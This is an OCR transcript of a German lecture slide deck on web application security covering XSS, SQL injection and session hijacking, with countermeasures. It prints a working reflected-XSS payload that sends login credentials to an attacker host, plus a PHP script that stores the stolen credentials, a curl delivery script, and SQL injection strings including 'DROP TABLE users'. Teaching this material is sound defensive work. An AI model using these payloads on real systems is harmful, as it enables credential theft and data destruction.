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Statistik
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Schaden durch webbasierte Schadsoftware

* Schadsoftware wird unbemerkt auf manipulierten Websites
runtergeladen

* Ausnutzung von Sicherheitsliicken veralteter Plug-Ins (Flash, Java
etc.) im Browser

* allein 2014 haben Experten 145 Mio Internetseiten gefunden, die
Schadsoftware verteilen

* auch “Drive-By-Download” genannt r—)

Java
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Infizierte Websites und mobile Apps

Code auf Webseiten einschleusen

Ausspdahung von Login-Daten

Mobile Anwendungen nur aus offiziellen Stores

Moglichkeit wire Flash und JavaScript zu deaktivieren

(aber viele Seiten wiaren nicht mehr benutzbar)
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Probleme

* Wichtig ist nicht nur die Netzwerkebene, sondern auch die
Anwendungsebene

* Kryptografie und Netzwerksicherheit wird behandelt

* Secure Coding erhdlt “kaum Beachtung”
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Inhaltsverzeichnis

Hauptaugenmerk auf infizierte Websites
* Cross Site Scripting
* SQL-Injection

* Session Hijacking

Einfiihrung - Cross Site Scripting - SQL-Injection - Session Hijacking - Fazit 7



Cross Site Scripting - Beschreibung

XSS = Cross Site Scripting

Webseite wird mit clientseitigen Skripten infiziert

Symantec 2007: rund 80% der ausgenutzten Sicherheitsliicken bei
Webanwendungen sind auf XSS zurtickzufiihren

Grundlage einer Vielzahl von Angriffen

\/’}c Symantec
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Cross Site Scripting - Folgen

* Daten auslesen, die zwischen Nutzer und Webseite ausgetauscht
werden

* Nutzer kann getduscht werden um bspw.
Authentifizierungsinformationen zu erhalten

* Nutzer kann dazu gebracht werden, auf eine vom Hacker
kontrollierte Seite geleitet zu werden
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Cross Site Scripting - Funktionsweise

XSS am Beispiel von:
* Reflektives (tempordres) XSS

* Persistente Angriffe

e DOM-basiert oder lokal
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Cross Site Scripting - Reflektives XSS

* Tritt auf, wenn Benutzereingaben im Formular direkt
zuriickgesendet werden

* Enthélt die Eingabe ein Skript, wird dieses ausgefiihrt
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Cross Site Scripting - Reflektives XSS

Beispiel: Suchfunktion mit GET-Funktion (Parameter taucht in der
URL auf) - Suchbegriff im Formular eingeben

Ausgangs-URL:

http://www.example.com/?suche=Suchbegriff

Erzeugter HTML Code:

<p>Sie suchten nach: Suchbegriff</p>

Ersetze Suchbegriff mit:

<script type="text/javascript”> alert (“"XSS”)</script>

Neu erzeugter HITML Code:

<p>Sie suchten nach: <script type="text/ javascript”>
alert (“XSS”)</script></p>
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Cross Site Scripting - Reflektives XSS

Vorstellbares Szenario - GET Variante - Teil 1:

http://www.webseite.de/login.php?"><script>window.setTimeout (functio
n() {document.getElementById ("send") .onclick=onsubmit; function
onsubmit () {var
theimg=document.createElement ("img") ,user=document.getElementById ("u
sername") .value, pass=document.getElementById ("pass") .value,url="http
://localhost/xssexploit.php?username="%2Buser%2B"%$26pass="%2Bpass%$2B
"$26nocache=time";theimg.src=url;document.body.appendChild(theimg);t
heimg.style.display="none";window.setTimeout (function () {document. for
ms[0].submit ();},1000);return false;}},1000);</script><span
1d="nothing
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Cross Site Scripting - Reflektives XSS

Vorstellbares Szenario - lesbar - Teil 2:

<script>

window.setTimeout (function ()

{

-

document.getElementById ("send") .onclick=onsubmit; -

function onsubmit () {

var theimg=document.createElement ("img"),
user=document.getElementById ("username™)

.value,

pass=document.getElementById ("pass") .value,

url="http://www.attacker.de/xssexploit.php?
username="%2Buser%$2B" %2 6pass="
$2Bpass%2B"s26nocache=time";

theimg.src=url;

document.body.appendChild (theimg) ;
theimg.style.display="none";
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1. Timeout um
sicherzustellen, dass
alles geladen wurde

2. Onclick Handler auf
Submit Button mitgeben

3. Erstellt ein
unsichtbares Bild auf der
Angreifer-Seite mit
Username und Passwort
(Anm.: Zeichen + und &
encoden)
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Cross Site Scripting - Reflektives XSS

Vorstellbares Szenario - lesbar - Teil 3:

},1000) ;

window.setTimeout (function () { */////,///’/////

document.forms[0] .submit () ;

return false;

}

},1000) ;
</script>

<span id="nothing

—
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4. Sichergehen, dass
das Skript auch wirklich
geladen wurde

5. Sofortiges Absenden
des Formulars
verhindern

6. Zeichen "/>
unterdricken (wirde
sonst hinter Feld
,2username” angezeigt
werden)
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Cross Site Scripting - Reflektives XSS

Vorstellbares Szenario - Angreifer-Seite- Teil 4:

http:/ /www.attacker.de/xssexploit.php /
$data = "Username: ".5 GET['username'].
" / Password: ".S GET['pass']."\r\n'";

file put contents ("userdata.txt",Sdata,FILE APPEND);
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Speichert Benutzername
und Kennwort in eine
Datei
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Cross Site Scripting - Reflektives XSS

Vorstellbares Szenario - POST Variante- Teil 5:

SxXss =
'">JIscript>window.setTimeout (function () {document.getEl
ementById ("send") .onclick=onsubmit; function
onsubmit () {var

theimg=document.createElement ("img") ,user=document.get
ElementById ("username") .value, pass= document getElement
ById ("pass") .value, url—"http //localhost/xssexp101t ph
p?username="% ZBuserOZB"°26pass—" 2Bpass%$2B"%$26nocache=
time";theimg.src=url;document.body.appendChild (theimg)
;theimg.Style.display="none";window.setTimeout(functio
n() {document.forms[0].submit();},1000);return

false; }},1000) ;</script><span id="nothing'

$ch = curl init('http://www.webseite.de/login.php');
curl setopt (Sch, CURLOPT POST, 1);

curl setopt($ch CURLOPT POSTFIELDS, "username=5$xss'");
curl setopt ($ch, CURLOPT FOLLOWLOCATION, 1);

curl exec (Sch); -

curl close(Sch

) ;
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Einfacher Post Request
— liegt auf dem
Webspace des
Angreifers (kann durch
Short-Link-Service
verschlisselt werden)
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Cross Site Scripting - Persistente Angritfe

+ wie reflektives XS5
* Schadcode wird aber gespeichert (Bsp.: Formulardaten)

* Dadurch wird er bei jedem Aufruf ausgefiihrt

Nette Webseite! Dieser Wert wurde gespeichert:
<script type="text/javascript“>alert("XSS") </script>
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Cross Site Scripting - DOM-basiert oder lokal

XSS Variante: DOM-Injektion

Webanwendung auf dem Server ist nicht beteiligt

Statische Seiten mit JavaScript-Unterstiitzung sind anféllig

URL wird kompromittiert und gezielt aufgerufen

Nicht ohne weiteres in Firefox moglich

Einfithrung - Cross Site Scripting - SQL-Injection - Session Hijacking - Fazit 19



Cross Site Scripting - DOM-basiert oder lokal

Ausgangs-URL:
http://example.com/foobar.html?arg=Argumentwert

<p>Sie haben an der URL diesen String angehdngt: Argumentwert</p>

Manipulierte URL:

http://example.com/foobar.html?arg=<script type="“text/javascript”>
alert (“"XSS”)</script>

<p>Sie haben der URL diesen String angehangt:
<script type="text/javascript'">alert("XSS")</script></p>

Einfithrung - Cross Site Scripting - SQL-Injection - Session Hijacking - Fazit 20



Cross Site Scripting - Reale Angriffe Teil 1

XSS Wurm Samy (auch JS.Spacehero)
Am 4. Oktober 2005 veroffentlicht ﬁ mys pace

In 20 Stunde wurden tiber eine Mio
User betroffen

Paradebeispiel fiir XSS und bisher schnellste Verbreitung eines
Virus weltweit
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Cross Site Scripting - Reale Angriffe Teil 2

XSS Sicherheitsliicke vom 13. November 2012

1. Verkaufer Account erstellen
2. Eine Liste fiir Verkdufe anlegen eb y
3. Eintrag in ,edit HTML”

'"——></style></script><script>
alert ("XSSed by Cyb3R Shubh4M")</script>

4. Preview anzeigen und dann, b0Om”

http:/ /www.xssed.com/news/131/ Another_Ebay_permanent_XSS/
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Cross Site Scripting - Reale Angriffe Teil 3

XSS Sicherheitsliicke vom Juli 2016
Owncloud <9.04

1. Nutzer muss authentifiziert sein OU rf&(éi)d

2. Ordner teilen
3. Opfer muss diesen Ordner in der Gallerie-App 6ffnen

Funktioniert bei Browsern ohne Content-Security-Policy

https:/ /owncloud.org/security /advisory/?id=oc-sa-2016-011
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Cross Site Scripting - Reale Angriffe Teil 4

XSS Sicherheitsliicke vom Januar 2016
Wordpress < 4.4.1

« Skript 'wp-includes/class-wp-theme.php’
betroffen

WORDPRESS

+ validiert die Eingabe nicht, bevor eine Fehler
Nachricht gesendet wird

* Ermoglicht Angreifer willkiirliche Skripte in die Browser Session
des Nutzers zu schreiben

https:/ /www.tenable.com/ pvs-plugins /9065
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Cross Site Scripting - Reale Angriffe Teil 5 X

Viele Private Betreiber:
ownCloud

WORDPRESS

Firmen:

i} Myspace eb y
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Cross Site Scripting - GegenmafsSnahmen

1. Mafsnahmen fiir Webseitenbetreiber
« HTML
« URL
* JavaScript

 Software aktualisieren (wenn nicht selbst entwickelt)

2. Mafsnahmen fiir Webseitennutzer
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Cross Site Scripting - Mafsnahmen fiir

Webseitenbetreiber
1. HTML
Zeichen | Beschreibung Name in NCR hex | NCR dez.
HTML
Anfiihrungszeichen oben &quot; &#x22; &#34;
& Ampersand-Zeichen, kaufmannisches Und &amp; &#x26; &#38;
< offnende spitze Klammer &lt; &#x3C; &#60;
> schliefSende spitze Klammer &gt; &#x3E; &#62;
‘ Apostroph, einfaches Anfiithrungszeichen oben  &apos; &#x27; &#39;

(nur bei XHTML definiert)

https:/ /wiki.selthtml.org/wiki/ReferenzzHTML/ Zeichenreferen
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Cross Site Scripting - Mafsnahmen fiir

Webseitenbetreiber

2. URL
« URL-Kodierung auf Eingabewerte
3. Javascript

* Sonderzeichen mit “\” maskieren

4. Webseite aktuell halten! (Bsp.: CMS)
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Cross Site Scripting - Mafsnahmen fiir

Webseitennutzer

* Javascript ausschalten

* Browser-Erweiterungen installieren, mit denen XSS-Angriffe
erkannt und verhindert werden

* Sicherstellen, dass der Browser eine XSS-Protection Unterstiitzung
hat (Bsp: Web-Kit basierend, IE)

caniuse.com/ #feat=contentsecuritypolicy
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SQL Injection - Terminologie

Datenbank

« System zur elektronischen Datenverwaltung

* Datenmengen werden effizient, widerspruchsfrei
und dauerhaft gespeichert

SQL C store ) @
 Structured Query Language, s -— m . Rubydl
. HEE M}/SQE
die Sprache zum Abfragen und ©Perl
Bearbeiten von Datenbanken — @ python
Database DBMS Website Code
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SQL Injection - Beschreibung

* SQL-Injection (dt. SQL-Einschleusung)

* Ausnutzen von Sicherheitsliicken im Zusammenhang mit SQL-
Datenbanken

* Entsteht durch mangelnde Maskierung oder Uberpriifung von
Metazeichen in Benutzereingaben

« Zugriff entsteht tiber die Anwendung, durch einschleusen von
Datenbankbefehlern
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SQL Injection - Folgen

Erfolgreicher Angritf ermoglicht Daten:
* auszuspdhen

* zu dndern

* zu ldschen

Es ist auch moglich gleich die Kontrolle des Servers zu erhalten
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SQL Injection - Funktionsweise

 Liicken befinden sind in Programmen, die Inhalte
in SQL-Datenbanken eintragen

* Daten gelangen durch bspw. Benutzereingaben
in den SQL-Interpreter

* Benutzereingaben werden als SQL-Statements ausgewertet

* Metazeichen in SQL sind \ ,, ' und ;
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SQL Injection - Funktionsweise

Ausgangsabfrage:

Statement = "SELECT * FROM users WHERE name = '" 4+ userName + "';"

Mit einem zufélligen, validen User anmelden:

SELECT * FROM users WHERE name = '"' OR 'l'='l';-- Rest der Abfrage

Ausdruck username wird mit ' or '1'='1 oder ' or '1'='1";--
ausgetauscht

Einfithrung - Cross Site Scripting - SQL-Injection - Session Hijacking - Fazit 34



SQL Injection - Funktionsweise

Ausgangsabfrage:

Statement = "SELECT * FROM users WHERE name = '" 4+ userName + "';"

Als Administrator anmelden:

SELECT * FROM users WHERE name = 'admin' AND user pwd = '' OR
lll='ll;

Ausdruck username wird mit admin' AND user_pwd =" OR '1'='1
ausgetauscht
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SQL Injection - Funktionsweise

Ausgangsabfrage:

Statement = "SELECT * FROM users WHERE name = '" 4+ userName + "';"

Tabelle users 16schen und Tabelle userinfos auslesen

SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT *
FROM userinfo WHERE 't' = 't';

Ausdruck username wird mit a;DROP TABLE users; SELECT *
FROM userinfo WHERE 't' = 't ausgetauscht
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SQL Injection - GegenmafSnahmen

1. Prepared Statements

Sstmt = $dbh->prepare ("INSERT INTO REGISTRY (name, value)
VALUES (2?2, ?2)");

Sstmt->bindParam(l, Sname) ;

Sstmt->bindParam (2, Svalue) ;

2. Benutzereingaben maskieren
Ergebnis: aus ” wird bspw. \” und aus ' wird \'

Scity = "'s Hertogenbosch";
$city = Smysqgli->real escape string(Scity);
/* this query with escaped Scity will work */

Smysgli->query ("INSERT into myCity (Name) VALUES ('$city')"))
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Session Hijacking - Beschreibung

* Entwendung der Session-1D eines Nutzers

* Angreifer erhdlt unberechtigten Zugang zu bestimmten Bereichen
der Anwendung

* Session-ID vom Téter und Opfer sind fiir den Server gleich
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Session Hijacking - Folgen

* Angreifer erhdlt Zugang zum personalen Nutzerbereich

* Datendnderungen und mehr ist moglich
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Session Hijacking - Funktionsweise

Session-ID kann durch passives “ Abhoren” entwendet werden
(durch WLAN 5Sniffing oder Zugriff zum Netzwerkkabel)

Bsp.: Nutzer-Server Kommunikation tiber Zwischenstelle umleiten

Session-ID tiber Cookies, GET- oder POST-Feld

XSS-Attacken konnen auch verwendet werden

Beispiel: <script>alert (document.cookie)</script>
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Session Hijacking - Gegenmafsnahmen

» Verschliisselte Ubertragung (HTTPS)
* SchutzmafsSnahmen gegen Cross-Site Scripting

* Session-IDs nicht in die URL schreiben (tauchen in Log-Files auf)
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Secure Coding ist auch in der Websicherheit wichtig

Jede Nutzereingabe ist ein potenzielles Risiko

Bewusstsein zum Thema stdrken, um einfachen Angriffen nicht
ausgeliefert zu sein

Beim Verwenden einer Sprache muss tiberpriift werden, welche
Angriffsarten automatisch verhindert werden und welche nicht.

Die hier vorgestellten Angriffsarten waren nur ein Auszug
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Quellen

* Die zehn grofiten Gefahren des Internets 2015 Teil 1:
https:/ /www.bitkom.org/Presse/Presseinformation/Die-zehn-groessten-Gefahren-im-Internet.html

* Die zehn grofsten Gefahren des Internets 2015 Teil 2: http:/ /www.it-
business.de/index.ctm?pid=7531&pk=484201&fk=848533&type=article

» Cross Site Scripting bei Webmasterpro: http:/ /www.webmasterpro.de/server/article/sicherheit-cross-site-
scripting.html

*  SQL Injection bei Webmasterpro: http:/ /www.webmasterpro.de/server/article/sicherheit-sql-
injection.html

* Header-Injection: http:/ /www.webmasterpro.de/server/article/sicherheit-header-injection.html
* Ausschnitt aus der EICT-Konferenz 2009 8_anwendungssicherheit_in_web_2.0.pdf

* Session Hijacking: httﬁ): / /www.webmasterpro.de/server/article/sicherheit-session-hijacking-im-namen-
der-erlichen-nutzern.html

* Startlogo: http:/ /1.bp.blogspot.com/ J6GQi5YL8v4/TScYVcQK-
el/ AA%AA A/KATSp / sO]ﬁIIJ)CDOIiS/ /gl 60%)} Smart—lé[eter—Sec%rity.jp g

* https://d-mueller.de/blog/angriffe-auf-webanwendungen-teil-1-xss-beispielangriff/
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Fragen? Fragen!

...und vielen Dank fiir die Aufmerksamkaeit.



